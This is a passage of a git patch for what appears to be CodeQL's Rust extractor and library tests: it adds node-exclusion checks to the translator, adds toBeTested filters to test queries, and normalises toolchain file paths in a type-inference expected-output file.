Translator<'_> { &mut self, node: &ast::TupleStructPat, ) -> Option> { + if self.should_be_excluded(node) { + return None; + } let fields = node.fields().filter_map(|x| self.emit_pat(&x)).collect(); let path = node.path().and_then(|x| self.emit_path(&x)); let label = self.trap.emit(generated::TupleStructPat { @@ -2791,6 +3190,9 @@ impl Translator<'_> { &mut self, node: &ast::TupleType, ) -> Option> { + if self.should_be_excluded(node) { + return None; + } let fields = node.fields().filter_map(|x| self.emit_type(&x)).collect(); let label = self.trap.emit(generated::TupleTypeRepr { id: TrapId::Star, @@ -2808,6 +3210,9 @@ impl Translator<'_> { if self.should_be_excluded(node) { return None; } + if self.should_be_excluded_attrs(node) { + return None; + } let attrs = node.attrs().filter_map(|x| self.emit_attr(&x)).collect(); let generic_param_list = node .generic_param_list() @@ -2840,6 +3245,9 @@ impl Translator<'_> { &mut self, node: &ast::TypeArg, ) -> Option> { + if self.should_be_excluded(node) { + return None; + } let type_repr = node.ty().and_then(|x| self.emit_type(&x)); let label = self.trap.emit(generated::TypeArg { id: TrapId::Star, @@ -2854,6 +3262,9 @@ impl Translator<'_> { &mut self, node: &ast::TypeBound, ) -> Option> { + if self.should_be_excluded(node) { + return None; + } let is_async = node.async_token().is_some(); let is_const = node.const_token().is_some(); let lifetime = node.lifetime().and_then(|x| self.emit_lifetime(&x)); @@ -2878,6 +3289,9 @@ impl Translator<'_> { &mut self, node: &ast::TypeBoundList, ) -> Option> { + if self.should_be_excluded(node) { + return None; + } let bounds = node .bounds() .filter_map(|x| self.emit_type_bound(&x)) @@ -2898,6 +3312,9 @@ impl Translator<'_> { if self.should_be_excluded(node) { return None; } + if self.should_be_excluded_attrs(node) { + return None; + } let attrs = node.attrs().filter_map(|x| self.emit_attr(&x)).collect(); let default_type = node.default_type().and_then(|x| self.emit_type(&x)); let name = node.name().and_then(|x| self.emit_name(&x)); @@ -2923,6 +3340,9 @@ impl Translator<'_> { if self.should_be_excluded(node) { return None; } + if self.should_be_excluded_attrs(node) { + return None; + } let attrs = node.attrs().filter_map(|x| self.emit_attr(&x)).collect(); let label = self.trap.emit(generated::UnderscoreExpr { id: TrapId::Star, @@ -2937,6 +3357,9 @@ impl Translator<'_> { if self.should_be_excluded(node) { return None; } + if self.should_be_excluded_attrs(node) { + return None; + } let attrs = node.attrs().filter_map(|x| self.emit_attr(&x)).collect(); let generic_param_list = node .generic_param_list() @@ -2965,6 +3388,9 @@ impl Translator<'_> { if self.should_be_excluded(node) { return None; } + if self.should_be_excluded_attrs(node) { + return None; + } let attrs = node.attrs().filter_map(|x| self.emit_attr(&x)).collect(); let use_tree = node.use_tree().and_then(|x| self.emit_use_tree(&x)); let visibility = node.visibility().and_then(|x| self.emit_visibility(&x)); @@ -2983,6 +3409,9 @@ impl Translator<'_> { &mut self, node: &ast::UseBoundGenericArgs, ) -> Option> { + if self.should_be_excluded(node) { + return None; + } let use_bound_generic_args = node .use_bound_generic_args() .filter_map(|x| self.emit_use_bound_generic_arg(&x)) @@ -3000,6 +3429,9 @@ impl Translator<'_> { &mut self, node: &ast::UseTree, ) -> Option> { + if self.should_be_excluded(node) { + return None; + } let is_glob = node.star_token().is_some(); let path = node.path().and_then(|x| self.emit_path(&x)); let rename = node.rename().and_then(|x| self.emit_rename(&x)); @@ -3022,6 +3454,9 @@ impl Translator<'_> { &mut self, node: &ast::UseTreeList, ) -> Option> { + if self.should_be_excluded(node) { + return None; + } let use_trees = node .use_trees() .filter_map(|x| self.emit_use_tree(&x)) @@ -3042,6 +3477,9 @@ impl Translator<'_> { if self.should_be_excluded(node) { return None; } + if self.should_be_excluded_attrs(node) { + return None; + } let attrs = node.attrs().filter_map(|x| self.emit_attr(&x)).collect(); let discriminant = node.expr().and_then(|x| self.emit_expr(&x)); let field_list = node.field_list().and_then(|x| self.emit_field_list(&x)); @@ -3064,6 +3502,9 @@ impl Translator<'_> { &mut self, node: &ast::VariantList, ) -> Option> { + if self.should_be_excluded(node) { + return None; + } let variants = node .variants() .filter_map(|x| self.emit_variant(&x)) @@ -3081,6 +3522,9 @@ impl Translator<'_> { &mut self, node: &ast::Visibility, ) -> Option> { + if self.should_be_excluded(node) { + return None; + } let path = node.path().and_then(|x| self.emit_path(&x)); let label = self.trap.emit(generated::Visibility { id: TrapId::Star, @@ -3095,6 +3539,9 @@ impl Translator<'_> { &mut self, node: &ast::WhereClause, ) -> Option> { + if self.should_be_excluded(node) { + return None; + } let predicates = node .predicates() .filter_map(|x| self.emit_where_pred(&x)) @@ -3112,6 +3559,9 @@ impl Translator<'_> { &mut self, node: &ast::WherePred, ) -> Option> { + if self.should_be_excluded(node) { + return None; + } let generic_param_list = node .generic_param_list() .and_then(|x| self.emit_generic_param_list(&x)); @@ -3139,6 +3589,9 @@ impl Translator<'_> { if self.should_be_excluded(node) { return None; } + if self.should_be_excluded_attrs(node) { + return None; + } let attrs = node.attrs().filter_map(|x| self.emit_attr(&x)).collect(); let condition = node.condition().and_then(|x| self.emit_expr(&x)); let label = node.label().and_then(|x| self.emit_label(&x)); @@ -3159,6 +3612,9 @@ impl Translator<'_> { &mut self, node: &ast::WildcardPat, ) -> Option> { + if self.should_be_excluded(node) { + return None; + } let label = self.trap.emit(generated::WildcardPat { id: TrapId::Star }); self.emit_location(label, node); emit_detached!(WildcardPat, self, node, label); @@ -3172,6 +3628,9 @@ impl Translator<'_> { if self.should_be_excluded(node) { return None; } + if self.should_be_excluded_attrs(node) { + return None; + } let attrs = node.attrs().filter_map(|x| self.emit_attr(&x)).collect(); let expr = node.expr().and_then(|x| self.emit_expr(&x)); let label = self.trap.emit(generated::YeetExpr { @@ -3191,6 +3650,9 @@ impl Translator<'_> { if self.should_be_excluded(node) { return None; } + if self.should_be_excluded_attrs(node) { + return None; + } let attrs = node.attrs().filter_map(|x| self.emit_attr(&x)).collect(); let expr = node.expr().and_then(|x| self.emit_expr(&x)); let label = self.trap.emit(generated::YieldExpr { diff --git a/rust/ql/test/extractor-tests/crate_graph/modules.ql b/rust/ql/test/extractor-tests/crate_graph/modules.ql index 5554a69d1a96..b9db8f9b1e30 100644 --- a/rust/ql/test/extractor-tests/crate_graph/modules.ql +++ b/rust/ql/test/extractor-tests/crate_graph/modules.ql @@ -5,13 +5,16 @@ */ import rust +import codeql.rust.internal.PathResolution predicate nodes(Item i) { i instanceof RelevantNode } -class RelevantNode extends Item { +class RelevantNode extends Element instanceof ItemNode { RelevantNode() { - this.getParentNode*() = - any(Crate m | m.getName() = "test" and m.getVersion() = "0.0.1").getModule() + this.(ItemNode).getImmediateParentModule*() = + any(Crate m | m.getName() = "test" and m.getVersion() = "0.0.1") + .(CrateItemNode) + .getModuleNode() } string label() { result = this.toString() } @@ -26,9 +29,8 @@ class HasGenericParams extends RelevantNode { params = this.(Struct).getGenericParamList() or params = this.(Union).getGenericParamList() or params = this.(Impl).getGenericParamList() or - params = this.(Enum).getGenericParamList() or - params = this.(Trait).getGenericParamList() or - params = this.(TraitAlias).getGenericParamList() + params = this.(Trait).getGenericParamList() // or + //params = this.(TraitAlias).getGenericParamList() } override string label() { diff --git a/rust/ql/test/library-tests/controlflow/BasicBlocks.ql b/rust/ql/test/library-tests/controlflow/BasicBlocks.ql index 2d072fa5b7cf..770fd1133e65 100644 --- a/rust/ql/test/library-tests/controlflow/BasicBlocks.ql +++ b/rust/ql/test/library-tests/controlflow/BasicBlocks.ql @@ -1,23 +1,28 @@ import rust import codeql.rust.controlflow.ControlFlowGraph import codeql.rust.controlflow.BasicBlocks +import TestUtils -query predicate dominates(BasicBlock bb1, BasicBlock bb2) { bb1.dominates(bb2) } +query predicate dominates(BasicBlock bb1, BasicBlock bb2) { + toBeTested(bb1.getScope()) and bb1.dominates(bb2) +} -query predicate postDominance(BasicBlock bb1, BasicBlock bb2) { bb1.postDominates(bb2) } +query predicate postDominance(BasicBlock bb1, BasicBlock bb2) { + toBeTested(bb1.getScope()) and bb1.postDominates(bb2) +} query predicate immediateDominator(BasicBlock bb1, BasicBlock bb2) { - bb1.getImmediateDominator() = bb2 + toBeTested(bb1.getScope()) and bb1.getImmediateDominator() = bb2 } query predicate controls(ConditionBasicBlock bb1, BasicBlock bb2, SuccessorType t) { - bb1.edgeDominates(bb2, t) + toBeTested(bb1.getScope()) and bb1.edgeDominates(bb2, t) } query predicate successor(ConditionBasicBlock bb1, BasicBlock bb2, SuccessorType t) { - bb1.getASuccessor(t) = bb2 + toBeTested(bb1.getScope()) and bb1.getASuccessor(t) = bb2 } query predicate joinBlockPredecessor(JoinBasicBlock bb1, BasicBlock bb2, int i) { - bb1.getJoinBlockPredecessor(i) = bb2 + toBeTested(bb1.getScope()) and bb1.getJoinBlockPredecessor(i) = bb2 } diff --git a/rust/ql/test/library-tests/operations/Operations.ql b/rust/ql/test/library-tests/operations/Operations.ql index cbb81bdcb025..71929f26a122 100644 --- a/rust/ql/test/library-tests/operations/Operations.ql +++ b/rust/ql/test/library-tests/operations/Operations.ql @@ -1,5 +1,6 @@ import rust import utils.test.InlineExpectationsTest +import TestUtils string describe(Expr op) { op instanceof Operation and result = "Operation" @@ -20,6 +21,7 @@ module OperationsTest implements TestSig { predicate hasActualResult(Location location, string element, string tag, string value) { exists(Expr op | + toBeTested(op) and location = op.getLocation() and location.getFile().getBaseName() != "" and element = op.toString() and diff --git a/rust/ql/test/library-tests/variables/Ssa.ql b/rust/ql/test/library-tests/variables/Ssa.ql index c972bb2747cd..d93a1f13b649 100644 --- a/rust/ql/test/library-tests/variables/Ssa.ql +++ b/rust/ql/test/library-tests/variables/Ssa.ql @@ -4,31 +4,38 @@ import codeql.rust.controlflow.ControlFlowGraph import codeql.rust.dataflow.Ssa import codeql.rust.dataflow.internal.SsaImpl import Impl::TestAdjacentRefs as RefTest +import TestUtils -query predicate definition(Ssa::Definition def, Variable v) { def.getSourceVariable() = v } +query predicate definition(Ssa::Definition def, Variable v) { + toBeTested(v.getEnclosingCfgScope()) and def.getSourceVariable() = v +} query predicate read(Ssa::Definition def, Variable v, CfgNode read) { - def.getSourceVariable() = v and read = def.getARead() + toBeTested(v.getEnclosingCfgScope()) and def.getSourceVariable() = v and read = def.getARead() } query predicate firstRead(Ssa::Definition def, Variable v, CfgNode read) { - def.getSourceVariable() = v and read = def.getAFirstRead() + toBeTested(v.getEnclosingCfgScope()) and + def.getSourceVariable() = v and + read = def.getAFirstRead() } query predicate adjacentReads(Ssa::Definition def, Variable v, CfgNode read1, CfgNode read2) { + toBeTested(v.getEnclosingCfgScope()) and def.getSourceVariable() = v and def.hasAdjacentReads(read1, read2) } query predicate phi(Ssa::PhiDefinition phi, Variable v, Ssa::Definition input) { - phi.getSourceVariable() = v and input = phi.getAnInput() + toBeTested(v.getEnclosingCfgScope()) and phi.getSourceVariable() = v and input = phi.getAnInput() } query predicate phiReadNode(RefTest::Ref phi, Variable v) { - phi.isPhiRead() and phi.getSourceVariable() = v + toBeTested(v.getEnclosingCfgScope()) and phi.isPhiRead() and phi.getSourceVariable() = v } query predicate phiReadNodeFirstRead(RefTest::Ref phi, Variable v, CfgNode read) { + toBeTested(v.getEnclosingCfgScope()) and exists(RefTest::Ref r, BasicBlock bb, int i | phi.isPhiRead() and RefTest::adjacentRefRead(phi, r) and diff --git a/rust/ql/test/library-tests/variables/variables.ql b/rust/ql/test/library-tests/variables/variables.ql index 121975c0c820..dbde4f56e858 100644 --- a/rust/ql/test/library-tests/variables/variables.ql +++ b/rust/ql/test/library-tests/variables/variables.ql @@ -1,29 +1,39 @@ import rust import utils.test.InlineExpectationsTest import codeql.rust.elements.internal.VariableImpl::Impl as VariableImpl +import TestUtils -query predicate variable(Variable v) { any() } +query predicate variable(Variable v) { toBeTested(v.getEnclosingCfgScope()) } -query predicate variableAccess(VariableAccess va, Variable v) { v = va.getVariable() } +query predicate variableAccess(VariableAccess va, Variable v) { + variable(v) and toBeTested(va) and v = va.getVariable() +} -query predicate variableWriteAccess(VariableWriteAccess va, Variable v) { v = va.getVariable() } +query predicate variableWriteAccess(VariableWriteAccess va, Variable v) { + variable(v) and toBeTested(va) and v = va.getVariable() +} -query predicate variableReadAccess(VariableReadAccess va, Variable v) { v = va.getVariable() } +query predicate variableReadAccess(VariableReadAccess va, Variable v) { + variable(v) and toBeTested(va) and v = va.getVariable() +} -query predicate variableInitializer(Variable v, Expr e) { e = v.getInitializer() } +query predicate variableInitializer(Variable v, Expr e) { + variable(v) and toBeTested(e) and e = v.getInitializer() +} -query predicate capturedVariable(Variable v) { v.isCaptured() } +query predicate capturedVariable(Variable v) { variable(v) and v.isCaptured() } -query predicate capturedAccess(VariableAccess va) { va.isCapture() } +query predicate capturedAccess(VariableAccess va) { toBeTested(va) and va.isCapture() } query predicate nestedFunctionAccess(VariableImpl::NestedFunctionAccess nfa, Function f) { - f = nfa.getFunction() + toBeTested(f) and f = nfa.getFunction() } module VariableAccessTest implements TestSig { string getARelevantTag() { result = ["", "write_", "read_"] + "access" } private predicate declAt(Variable v, string filepath, int line, boolean inMacro) { + variable(v) and v.getLocation().hasLocationInfo(filepath, _, _, line, _) and if v.getPat().isInMacroExpansion() then inMacro = true else inMacro = false } @@ -46,6 +56,7 @@ module VariableAccessTest implements TestSig { predicate hasActualResult(Location location, string element, string tag, string value) { exists(VariableAccess va | + toBeTested(va) and location = va.getLocation() and element = va.toString() and decl(va.getVariable(), value) From 643059ed34c2896cf571e2f33fea79a1485bcb7d Mon Sep 17 00:00:00 2001 From: Arthur Baars Date: Tue, 20 May 2025 15:20:09 +0200 Subject: [PATCH 293/535] Rust: fix type-interence file paths --- .../type-inference/type-inference.expected | 68 +++++++++---------- .../type-inference/type-inference.ql | 4 +- 2 files changed, 35 insertions(+), 37 deletions(-) diff --git a/rust/ql/test/library-tests/type-inference/type-inference.expected b/rust/ql/test/library-tests/type-inference/type-inference.expected index 7e8559672ed2..4657df91cf39 100644 --- a/rust/ql/test/library-tests/type-inference/type-inference.expected +++ b/rust/ql/test/library-tests/type-inference/type-inference.expected @@ -494,12 +494,10 @@ inferType | main.rs:377:26:377:29 | SelfParam | | main.rs:366:5:367:14 | S1 | | main.rs:377:38:379:9 | { ... } | | main.rs:366:5:367:14 | S1 | | main.rs:378:20:378:31 | "not called" | | file:///BUILTINS/types.rs:8:1:8:15 | str | -| main.rs:378:20:378:31 | MacroExpr | | file:///Users/hvitved/.rustup/toolchains/1.85-aarch64-apple-darwin/lib/rustlib/src/rust/library/core/src/fmt/mod.rs:549:1:584:1 | Arguments | | main.rs:382:28:382:31 | SelfParam | | main.rs:366:5:367:14 | S1 | | main.rs:382:34:382:35 | s1 | | main.rs:366:5:367:14 | S1 | | main.rs:382:48:384:9 | { ... } | | main.rs:366:5:367:14 | S1 | | main.rs:383:20:383:31 | "not called" | | file:///BUILTINS/types.rs:8:1:8:15 | str | -| main.rs:383:20:383:31 | MacroExpr | | file:///Users/hvitved/.rustup/toolchains/1.85-aarch64-apple-darwin/lib/rustlib/src/rust/library/core/src/fmt/mod.rs:549:1:584:1 | Arguments | | main.rs:389:26:389:29 | SelfParam | | main.rs:366:5:367:14 | S1 | | main.rs:389:38:391:9 | { ... } | | main.rs:366:5:367:14 | S1 | | main.rs:390:13:390:16 | self | | main.rs:366:5:367:14 | S1 | @@ -1004,10 +1002,8 @@ inferType | main.rs:884:19:884:22 | self | Snd | main.rs:882:15:882:17 | Snd | | main.rs:885:43:885:82 | MacroExpr | | main.rs:882:15:882:17 | Snd | | main.rs:885:50:885:81 | "PairNone has no second elemen... | | file:///BUILTINS/types.rs:8:1:8:15 | str | -| main.rs:885:50:885:81 | MacroExpr | | file:///Users/hvitved/.rustup/toolchains/1.85-aarch64-apple-darwin/lib/rustlib/src/rust/library/core/src/fmt/mod.rs:549:1:584:1 | Arguments | | main.rs:886:43:886:81 | MacroExpr | | main.rs:882:15:882:17 | Snd | | main.rs:886:50:886:80 | "PairFst has no second element... | | file:///BUILTINS/types.rs:8:1:8:15 | str | -| main.rs:886:50:886:80 | MacroExpr | | file:///Users/hvitved/.rustup/toolchains/1.85-aarch64-apple-darwin/lib/rustlib/src/rust/library/core/src/fmt/mod.rs:549:1:584:1 | Arguments | | main.rs:887:37:887:39 | snd | | main.rs:882:15:882:17 | Snd | | main.rs:887:45:887:47 | snd | | main.rs:882:15:882:17 | Snd | | main.rs:888:41:888:43 | snd | | main.rs:882:15:882:17 | Snd | @@ -1472,96 +1468,96 @@ inferType | main.rs:1150:15:1150:16 | &x | | file://:0:0:0:0 | & | | main.rs:1150:15:1150:16 | &x | &T | main.rs:1126:5:1126:13 | S | | main.rs:1150:16:1150:16 | x | | main.rs:1126:5:1126:13 | S | -| main.rs:1164:43:1167:5 | { ... } | | file:///Users/hvitved/.rustup/toolchains/1.85-aarch64-apple-darwin/lib/rustlib/src/rust/library/core/src/result.rs:520:1:538:1 | Result | +| main.rs:1164:43:1167:5 | { ... } | | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/result.rs:520:1:538:1 | Result | | main.rs:1164:43:1167:5 | { ... } | E | main.rs:1157:5:1158:14 | S1 | | main.rs:1164:43:1167:5 | { ... } | T | main.rs:1157:5:1158:14 | S1 | | main.rs:1165:13:1165:13 | x | | main.rs:1157:5:1158:14 | S1 | -| main.rs:1165:17:1165:30 | ...::Ok(...) | | file:///Users/hvitved/.rustup/toolchains/1.85-aarch64-apple-darwin/lib/rustlib/src/rust/library/core/src/result.rs:520:1:538:1 | Result | +| main.rs:1165:17:1165:30 | ...::Ok(...) | | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/result.rs:520:1:538:1 | Result | | main.rs:1165:17:1165:30 | ...::Ok(...) | T | main.rs:1157:5:1158:14 | S1 | | main.rs:1165:17:1165:31 | TryExpr | | main.rs:1157:5:1158:14 | S1 | | main.rs:1165:28:1165:29 | S1 | | main.rs:1157:5:1158:14 | S1 | -| main.rs:1166:9:1166:22 | ...::Ok(...) | | file:///Users/hvitved/.rustup/toolchains/1.85-aarch64-apple-darwin/lib/rustlib/src/rust/library/core/src/result.rs:520:1:538:1 | Result | +| main.rs:1166:9:1166:22 | ...::Ok(...) | | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/result.rs:520:1:538:1 | Result | | main.rs:1166:9:1166:22 | ...::Ok(...) | E | main.rs:1157:5:1158:14 | S1 | | main.rs:1166:9:1166:22 | ...::Ok(...) | T | main.rs:1157:5:1158:14 | S1 | | main.rs:1166:20:1166:21 | S1 | | main.rs:1157:5:1158:14 | S1 | -| main.rs:1170:46:1174:5 | { ... } | | file:///Users/hvitved/.rustup/toolchains/1.85-aarch64-apple-darwin/lib/rustlib/src/rust/library/core/src/result.rs:520:1:538:1 | Result | +| main.rs:1170:46:1174:5 | { ... } | | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/result.rs:520:1:538:1 | Result | | main.rs:1170:46:1174:5 | { ... } | E | main.rs:1160:5:1161:14 | S2 | | main.rs:1170:46:1174:5 | { ... } | T | main.rs:1157:5:1158:14 | S1 | -| main.rs:1171:13:1171:13 | x | | file:///Users/hvitved/.rustup/toolchains/1.85-aarch64-apple-darwin/lib/rustlib/src/rust/library/core/src/result.rs:520:1:538:1 | Result | +| main.rs:1171:13:1171:13 | x | | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/result.rs:520:1:538:1 | Result | | main.rs:1171:13:1171:13 | x | T | main.rs:1157:5:1158:14 | S1 | -| main.rs:1171:17:1171:30 | ...::Ok(...) | | file:///Users/hvitved/.rustup/toolchains/1.85-aarch64-apple-darwin/lib/rustlib/src/rust/library/core/src/result.rs:520:1:538:1 | Result | +| main.rs:1171:17:1171:30 | ...::Ok(...) | | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/result.rs:520:1:538:1 | Result | | main.rs:1171:17:1171:30 | ...::Ok(...) | T | main.rs:1157:5:1158:14 | S1 | | main.rs:1171:28:1171:29 | S1 | | main.rs:1157:5:1158:14 | S1 | | main.rs:1172:13:1172:13 | y | | main.rs:1157:5:1158:14 | S1 | -| main.rs:1172:17:1172:17 | x | | file:///Users/hvitved/.rustup/toolchains/1.85-aarch64-apple-darwin/lib/rustlib/src/rust/library/core/src/result.rs:520:1:538:1 | Result | +| main.rs:1172:17:1172:17 | x | | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/result.rs:520:1:538:1 | Result | | main.rs:1172:17:1172:17 | x | T | main.rs:1157:5:1158:14 | S1 | | main.rs:1172:17:1172:18 | TryExpr | | main.rs:1157:5:1158:14 | S1 | -| main.rs:1173:9:1173:22 | ...::Ok(...) | | file:///Users/hvitved/.rustup/toolchains/1.85-aarch64-apple-darwin/lib/rustlib/src/rust/library/core/src/result.rs:520:1:538:1 | Result | +| main.rs:1173:9:1173:22 | ...::Ok(...) | | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/result.rs:520:1:538:1 | Result | | main.rs:1173:9:1173:22 | ...::Ok(...) | E | main.rs:1160:5:1161:14 | S2 | | main.rs:1173:9:1173:22 | ...::Ok(...) | T | main.rs:1157:5:1158:14 | S1 | | main.rs:1173:20:1173:21 | S1 | | main.rs:1157:5:1158:14 | S1 | -| main.rs:1177:40:1182:5 | { ... } | | file:///Users/hvitved/.rustup/toolchains/1.85-aarch64-apple-darwin/lib/rustlib/src/rust/library/core/src/result.rs:520:1:538:1 | Result | +| main.rs:1177:40:1182:5 | { ... } | | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/result.rs:520:1:538:1 | Result | | main.rs:1177:40:1182:5 | { ... } | E | main.rs:1160:5:1161:14 | S2 | | main.rs:1177:40:1182:5 | { ... } | T | main.rs:1157:5:1158:14 | S1 | -| main.rs:1178:13:1178:13 | x | | file:///Users/hvitved/.rustup/toolchains/1.85-aarch64-apple-darwin/lib/rustlib/src/rust/library/core/src/result.rs:520:1:538:1 | Result | -| main.rs:1178:13:1178:13 | x | T | file:///Users/hvitved/.rustup/toolchains/1.85-aarch64-apple-darwin/lib/rustlib/src/rust/library/core/src/result.rs:520:1:538:1 | Result | +| main.rs:1178:13:1178:13 | x | | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/result.rs:520:1:538:1 | Result | +| main.rs:1178:13:1178:13 | x | T | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/result.rs:520:1:538:1 | Result | | main.rs:1178:13:1178:13 | x | T.T | main.rs:1157:5:1158:14 | S1 | -| main.rs:1178:17:1178:42 | ...::Ok(...) | | file:///Users/hvitved/.rustup/toolchains/1.85-aarch64-apple-darwin/lib/rustlib/src/rust/library/core/src/result.rs:520:1:538:1 | Result | -| main.rs:1178:17:1178:42 | ...::Ok(...) | T | file:///Users/hvitved/.rustup/toolchains/1.85-aarch64-apple-darwin/lib/rustlib/src/rust/library/core/src/result.rs:520:1:538:1 | Result | +| main.rs:1178:17:1178:42 | ...::Ok(...) | | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/result.rs:520:1:538:1 | Result | +| main.rs:1178:17:1178:42 | ...::Ok(...) | T | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/result.rs:520:1:538:1 | Result | | main.rs:1178:17:1178:42 | ...::Ok(...) | T.T | main.rs:1157:5:1158:14 | S1 | -| main.rs:1178:28:1178:41 | ...::Ok(...) | | file:///Users/hvitved/.rustup/toolchains/1.85-aarch64-apple-darwin/lib/rustlib/src/rust/library/core/src/result.rs:520:1:538:1 | Result | +| main.rs:1178:28:1178:41 | ...::Ok(...) | | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/result.rs:520:1:538:1 | Result | | main.rs:1178:28:1178:41 | ...::Ok(...) | T | main.rs:1157:5:1158:14 | S1 | | main.rs:1178:39:1178:40 | S1 | | main.rs:1157:5:1158:14 | S1 | -| main.rs:1180:17:1180:17 | x | | file:///Users/hvitved/.rustup/toolchains/1.85-aarch64-apple-darwin/lib/rustlib/src/rust/library/core/src/result.rs:520:1:538:1 | Result | -| main.rs:1180:17:1180:17 | x | T | file:///Users/hvitved/.rustup/toolchains/1.85-aarch64-apple-darwin/lib/rustlib/src/rust/library/core/src/result.rs:520:1:538:1 | Result | +| main.rs:1180:17:1180:17 | x | | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/result.rs:520:1:538:1 | Result | +| main.rs:1180:17:1180:17 | x | T | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/result.rs:520:1:538:1 | Result | | main.rs:1180:17:1180:17 | x | T.T | main.rs:1157:5:1158:14 | S1 | -| main.rs:1180:17:1180:18 | TryExpr | | file:///Users/hvitved/.rustup/toolchains/1.85-aarch64-apple-darwin/lib/rustlib/src/rust/library/core/src/result.rs:520:1:538:1 | Result | +| main.rs:1180:17:1180:18 | TryExpr | | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/result.rs:520:1:538:1 | Result | | main.rs:1180:17:1180:18 | TryExpr | T | main.rs:1157:5:1158:14 | S1 | -| main.rs:1180:17:1180:29 | ... .map(...) | | file:///Users/hvitved/.rustup/toolchains/1.85-aarch64-apple-darwin/lib/rustlib/src/rust/library/core/src/result.rs:520:1:538:1 | Result | -| main.rs:1181:9:1181:22 | ...::Ok(...) | | file:///Users/hvitved/.rustup/toolchains/1.85-aarch64-apple-darwin/lib/rustlib/src/rust/library/core/src/result.rs:520:1:538:1 | Result | +| main.rs:1180:17:1180:29 | ... .map(...) | | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/result.rs:520:1:538:1 | Result | +| main.rs:1181:9:1181:22 | ...::Ok(...) | | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/result.rs:520:1:538:1 | Result | | main.rs:1181:9:1181:22 | ...::Ok(...) | E | main.rs:1160:5:1161:14 | S2 | | main.rs:1181:9:1181:22 | ...::Ok(...) | T | main.rs:1157:5:1158:14 | S1 | | main.rs:1181:20:1181:21 | S1 | | main.rs:1157:5:1158:14 | S1 | -| main.rs:1185:30:1185:34 | input | | file:///Users/hvitved/.rustup/toolchains/1.85-aarch64-apple-darwin/lib/rustlib/src/rust/library/core/src/result.rs:520:1:538:1 | Result | +| main.rs:1185:30:1185:34 | input | | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/result.rs:520:1:538:1 | Result | | main.rs:1185:30:1185:34 | input | E | main.rs:1157:5:1158:14 | S1 | | main.rs:1185:30:1185:34 | input | T | main.rs:1185:20:1185:27 | T | -| main.rs:1185:69:1192:5 | { ... } | | file:///Users/hvitved/.rustup/toolchains/1.85-aarch64-apple-darwin/lib/rustlib/src/rust/library/core/src/result.rs:520:1:538:1 | Result | +| main.rs:1185:69:1192:5 | { ... } | | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/result.rs:520:1:538:1 | Result | | main.rs:1185:69:1192:5 | { ... } | E | main.rs:1157:5:1158:14 | S1 | | main.rs:1185:69:1192:5 | { ... } | T | main.rs:1185:20:1185:27 | T | | main.rs:1186:13:1186:17 | value | | main.rs:1185:20:1185:27 | T | -| main.rs:1186:21:1186:25 | input | | file:///Users/hvitved/.rustup/toolchains/1.85-aarch64-apple-darwin/lib/rustlib/src/rust/library/core/src/result.rs:520:1:538:1 | Result | +| main.rs:1186:21:1186:25 | input | | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/result.rs:520:1:538:1 | Result | | main.rs:1186:21:1186:25 | input | E | main.rs:1157:5:1158:14 | S1 | | main.rs:1186:21:1186:25 | input | T | main.rs:1185:20:1185:27 | T | | main.rs:1186:21:1186:26 | TryExpr | | main.rs:1185:20:1185:27 | T | -| main.rs:1187:22:1187:38 | ...::Ok(...) | | file:///Users/hvitved/.rustup/toolchains/1.85-aarch64-apple-darwin/lib/rustlib/src/rust/library/core/src/result.rs:520:1:538:1 | Result | +| main.rs:1187:22:1187:38 | ...::Ok(...) | | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/result.rs:520:1:538:1 | Result | | main.rs:1187:22:1187:38 | ...::Ok(...) | T | main.rs:1185:20:1185:27 | T | -| main.rs:1187:22:1190:10 | ... .and_then(...) | | file:///Users/hvitved/.rustup/toolchains/1.85-aarch64-apple-darwin/lib/rustlib/src/rust/library/core/src/result.rs:520:1:538:1 | Result | +| main.rs:1187:22:1190:10 | ... .and_then(...) | | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/result.rs:520:1:538:1 | Result | | main.rs:1187:33:1187:37 | value | | main.rs:1185:20:1185:27 | T | -| main.rs:1187:53:1190:9 | { ... } | | file:///Users/hvitved/.rustup/toolchains/1.85-aarch64-apple-darwin/lib/rustlib/src/rust/library/core/src/result.rs:520:1:538:1 | Result | +| main.rs:1187:53:1190:9 | { ... } | | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/result.rs:520:1:538:1 | Result | | main.rs:1187:53:1190:9 | { ... } | E | main.rs:1157:5:1158:14 | S1 | | main.rs:1188:22:1188:27 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | -| main.rs:1189:13:1189:34 | ...::Ok::<...>(...) | | file:///Users/hvitved/.rustup/toolchains/1.85-aarch64-apple-darwin/lib/rustlib/src/rust/library/core/src/result.rs:520:1:538:1 | Result | +| main.rs:1189:13:1189:34 | ...::Ok::<...>(...) | | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/result.rs:520:1:538:1 | Result | | main.rs:1189:13:1189:34 | ...::Ok::<...>(...) | E | main.rs:1157:5:1158:14 | S1 | -| 